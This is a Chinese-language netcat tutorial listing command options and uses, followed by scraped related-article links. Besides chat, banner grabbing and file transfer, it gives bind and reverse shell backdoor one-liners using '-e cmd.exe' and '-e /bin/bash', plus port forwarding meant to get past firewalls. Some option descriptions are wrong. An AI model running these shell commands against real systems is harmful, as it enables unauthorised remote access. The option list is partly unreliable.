netcat命令选项

本文参考文章链接

本文参考文章链接1

本文参考文章链接2

本文参考文章链接3

常用命令选项

## 网络模式和代理相关
-l 监听,作服务器。不填时作客户端。
-u UDP模式。不填时默认TCP模式。
-X 和 -x 是代理相关的选项 ## 其余常用选项
-v verbose模式,打印更多日志
-z 连接以后就断开,用于测试网络连接是否连通 //探测端口的连通性
-w 超时时间,单位是秒
-s 指定source addr
-p 指定source port
-n 只识别IP地址,不查询DNS
-k 处理完一个请求之后,继续监听下一个
-d 脱离命令行窗口,在后台运行,常用于后门建立的过程
-e 执行某个程序,常用于后门建立的过程
-L 设置netcat处于监听状态等待链接,当客户端断开,服务器依旧回到等待状态

基本全部命令选项

用法:

ncat [选项] [主机名] [端口]

花费时间的选项以秒为单位。 附加“ ms”毫秒,“ s”表示秒,“ m”表示分钟,或“ h”表示小时(例如500ms)。

-4    仅使用IPv4

-6    仅使用IPv6

-U, --unixsock 仅使用Unix域套接字

	--vsock 仅使用vsock套接字

-C, --crlf 将CRLF用于EOL序列

-c, --sh-exec <command> 通过/bin/sh执行给定命令

-e, --exec <command> 执行给定命令

	--lua-exec <filename> 执行给定的Lua脚本

-g hop1[,hop2,...] 松散的源路由跳跃点(最大8个)

-G <n> 松散的源路由跳跃指针(4、8、12,...)

-m, --max-conns <n> 最大<n>同时连接

-h, --help 显示此帮助屏幕

-d, --delay <time> 在读/写之间等待时间

-o, --output <filename> 将会话数据转储到文件中

-x, --hex-dump <filename> 将会话数据以十六进制形式转储到文件中

-i, --idle-timeout <time> 空闲读/写超时时间

-p, --source-port port 指定要使用的源端口

-s, --source addr 指定要使用的源地址(不影响-l)

-l, --listen 绑定并监听传入的连接

-k, --keep-open 在侦听模式下接受多个连接

-n, --nodns 不通过DNS解析主机名

-t, --telnet 回答Telnet协商

-u, --udp 使用UDP代替默认TCP

	--sctp 使用SCTP代替默认TCP

-v, --verbose 使用SCTP代替默认TCP

-w, --wait <time> 连接超时时间

-z   零I/O模式,仅报告连接状态

1. 模拟聊天

  • 服务器
nc -l -p [端口号]
  • 客户端
nc [服务器ip] [服务器端口]

2.Banner抓取方法

  • Banner是一个文本,Banner是一个你连接的服务器发送给你的文本信息。当你试图鉴别漏洞或者服务的类型和版本的时候,Banner信息是非常有用的。但是,并不是所有的服务都会发送banner。一旦你发现开放的端口,你可以容易的使用netcat 连接服务抓取他们的banner。
echo "" | nc -v -n w1 [target_ip] [开始端口-结束端口]

3.文件传输

从客户端传输文件到服务器

  • 服务器
nc -l -p [端口号] > out_filename
  • 客户端
nc [目标IP] [目标端口] < in_flimename

从服务器传输文件到客户端

  • 服务器
nc -l -p [端口号] < in_filename
  • 客户端
nc [目标IP] [目标端口] > out_flimename

4.目录传输(与文件传输类似)

  • 服务器
tar -cvf - dir_name | nc -l [port_id]
  • 客户端
nc -n [target_ip] [target_port] | tar -xvf -

5. windows建立后门的方法

服务器——监听型后门

nc -l -p [port_id] -e cmd.exe

客户端——连接型后门

nc [target_ip] [target_port] -e cmd.exe

6、Linux下建立后门

服务器——监听型后门

nc -l -p [port_id] -e /bin/bash

客户端——连接型后门

nc [target_ip] [target_port] -e /bin/bash

7、连接转发

  • 可以解决的问题
  1. 对于无法访问内网特定机器的问题,我们可以先抓取内网一台机器,然后利用这台弱鸡进行端口转发,接受外网的数据,将数据转发到内网目标机器的特定端口。
'''假设机器A和机器B是内网机器,机器B是我们的目标机器,机器C是外网机器,机器C和机器A是出于同一网段的,可以互相访问,机器C不可以访问机器B'''# bat文件中的内容: nc [ip_B] [port_B]A: nc -l -p [port_A] -e XX.batB: nc -l -p [port_B] C: nc [ip_A] [prt_A]
  1. 对于防火墙禁止访问某些端口的问题,比如3389端口,我们可以将利用机器的3000端口做端口转发,从外界接受数据,转发给本机的3389端口,从而绕过防火墙。
## 原理同上

8、反弹shell

Netcat基础使用的更多相关文章

  1. Kali Linux渗透基础知识整理(四):维持访问

    Kali Linux渗透基础知识整理系列文章回顾 维持访问 在获得了目标系统的访问权之后,攻击者需要进一步维持这一访问权限.使用木马程序.后门程序和rootkit来达到这一目的.维持访问是一种艺术形式 ...

  2. NetCat使用手册

    简介:   在网络工具中有“瑞士军刀”美誉的NetCat(以下简称nc),在我们用了N年了至今仍是爱不释手.因为它短小精悍(这个用在它身上很适合,现在有人已经将其修改成大约10K左右,而且功能不减少) ...

  3. 大数据基础知识问答----spark篇,大数据生态圈

    Spark相关知识点 1.Spark基础知识 1.Spark是什么? UCBerkeley AMPlab所开源的类HadoopMapReduce的通用的并行计算框架 dfsSpark基于mapredu ...

  4. Kali Linux Netcat 学习 与 网络攻击

    Netcat 网络攻击 以及 应用 1.用Netcat进行黑客攻击第1部分:基础知识 Netcat是一个很好的网络实用程序,用于使用TCP和UPD协议读取和写入网络连接.Netcat通常被称为网络工具 ...

  5. spark基础知识

    1.Spark是什么? UCBerkeley AMPlab所开源的类HadoopMapReduce的通用的并行计算框架. dfsSpark基于mapreduce算法实现的分布式计算,拥有HadoopM ...

  6. Wireshark、Netcat

    Wireshark Wireshark是一个网络数据包分析软件,功能是截取网络数据包,并尽可能显示出最为详细的网络数据包数据.为了安全考虑,wireshark只能查看封包,而不能修改封包的内容,或者发 ...

  7. 最全的spark基础知识解答

    原文:http://www.36dsj.com/archives/61155 一. Spark基础知识 1.Spark是什么? UCBerkeley AMPlab所开源的类HadoopMapReduc ...

  8. 20145205武钰_Exp5 MSF基础应用

    20145205武钰_Exp5 MSF基础应用 实验后回答问题 exploit:这个词本身只是利用,但是它在黑客眼里就是漏洞利用.有漏洞不一定就有Exploit(利用).有Exploit就肯定有漏洞. ...

  9. 《Python黑帽子:黑客与渗透测试编程之道》 网络基础

    TCP客户端: 示例中socket对象有两个参数,AF_INET参数表明使用IPv4地址或主机名 SOCK_STREAM参数表示是一个TCP客户端.访问的URL是百度. #coding=utf-8 i ...

随机推荐

  1. SpringCloud升级之路2020.0.x版-26.OpenFeign的组件

    本系列代码地址:https://github.com/JoJoTec/spring-cloud-parent 首先,我们给出官方文档中的组件结构图: 官方文档中的组件,是以实现功能为维度的,我们这里是 ...

  2. null与undefined到底有啥区别?

    话不多说,直接先上结论: null 和 undefined 基本相同,只有细微差别 null 是表示缺少的标识,指示变量未指向任何对象,转为数值为 0 undefined 表示 "缺少值&q ...

  3. hd-cg辉度通用代码生成器

    HD-CG 辉度通用代码生成器 主要特点: 1. 自定义代码模板:通过简单的默认变量自行编写代码模板,如果默认变量不满足需求,也可增加自定义变量. 2. 自定义数据源:可自定义添加多个项目的数据库,数 ...

  4. qsort()函数的使用

    函数声明 void qsort(void *base, size_t nitems, size_t size, int (*compar)(const void *, const void*)) 参数 ...

  5. 文本域textarea的一个小细节

    文本域代码在编写时,最好写在一行上,就像: 如果没写在一行上,如: 那么就会在后续生成的页面上输入的时候就会产生一段空白无法删除: 这是写文本框的时候的一个小细节

  6. python filter lambda 的使用

    lambda 匿名函数的使用 >>> a=lambda x : x in "1234567890.," >>> a("asd" ...

  7. diff算法深入一下?

    文章转自豆皮范儿-diff算法深入一下 一.前言 有同学问:能否详细说一下 diff 算法. 简单说:diff 算法是一种优化手段,将前后两个模块进行差异化比较,修补(更新)差异的过程叫做 patch ...

  8. 【UE4 设计模式】状态模式 State Pattern

    概述 描述 允许一个对象在其内部状态改变时改变它的行为,对象看起来似乎修改了它的类. 其别名为状态对象(Objects for States),状态模式是一种对象行为型模式. 有限状态机(FSMs) ...

  9. DH密钥交换

    DH密钥交换 密模运算 所谓幂模,就是先做一次幂运算,再做一次模运算. 模运算有以下性质: 也就是说,先模再乘和先乘再模,只要最后都模了同一个模数,结果都是一样. 有了这个性质,我们首先得到幂模运算的 ...

  10. linux tr

    转载:tr命令_Linux tr 命令用法详解:将字符进行替换压缩和删除 (linuxde.net) tr命令 文件过滤分割与合并 tr命令可以对来自标准输入的字符进行替换.压缩和删除.它可以将一组字 ...